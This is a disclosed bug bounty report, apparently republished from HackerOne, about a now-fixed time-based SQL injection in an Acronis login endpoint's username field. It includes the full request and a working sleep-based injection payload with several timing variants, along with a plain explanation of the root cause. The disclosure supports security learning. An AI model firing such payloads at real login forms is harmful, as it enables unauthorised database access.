Skip to content
SQL injection Disclosed report Intermediate

SQL injection in https://demor.adr.acronis.com/ via the username parameter

The login endpoint's username parameter was vulnerable to time-based SQL injection, shown by responses that were delayed in proportion to a sleep value supplied in the request. An attacker could use this to bypass authentication and authorisation and to read the contents of the database.

mmg Follow

Originally disclosed on HackerOne

  • Triaged in 8 days
  • Fixed in 3 months
  • Paid in 3 months
  • Disclosed after 2.7 years

I have discovered a SQL injection in https://demor.adr.acronis.com/ using the POST request via the username parameter. Using the Repearter in Burpsuite I have submitted the following POST request:

POST /ng/api/auth/login HTTP/2 Host: demor.adr.acronis.com Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: https://demor.adr.acronis.com/ Cookie: PHPSESSID=bsrq24l7g5fmth5b683v2b3gu4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip,deflate,br Content-Length: 148 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36

{"username":"0'XOR(if(now()=sysdate(),sleep(35),0))XOR'Z","id":"27","password":"cc4226104294e44c5cec9f31cb6de7fa4597e4321b277f4e4b78c3a0ff980956"}

Which resulted in a 35 seconds delayed response (one of the print screens, named 35 captured this).

Using various values for the sleep function you get various time responses.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.336 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.332 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z => 3.352 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.327 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.337

I have attached two print screens from burp showing 16 and 35 seconds responses that were used in the payloads.

Impact

An attacker can use SQL injection it to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. This can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further.

Attachments

16.png
16.png From the original on HackerOne
35.png
35.png

The original report as published on HackerOne, by mmg. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the username value was concatenated into a SQL query instead of being passed as a bound parameter, allowing injected SQL to run.

Impact

An attacker could bypass authentication and authorisation and retrieve the contents of the entire database, and the text claims it could also be used to execute OS commands.

What the attacker needed

Access to the login endpoint; no account needed

How it was found

  1. Send a login POST request to the authentication API endpoint.
  2. Replace the username value with a time-delay expression.
  3. Observe that the response is delayed by the chosen number of seconds.
  4. Repeat with different delay values and confirm the delay changes to match.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A login form sends the username to a database to look it up. Here the site built that database query by pasting the username straight in, so special characters in the username changed the query itself. The tester made the database deliberately wait a set number of seconds, and the page came back late by exactly that amount, which proves the injected text was being run as database code.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by mmg

View all

6 more disclosed reports, best first.

More from Acronis

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.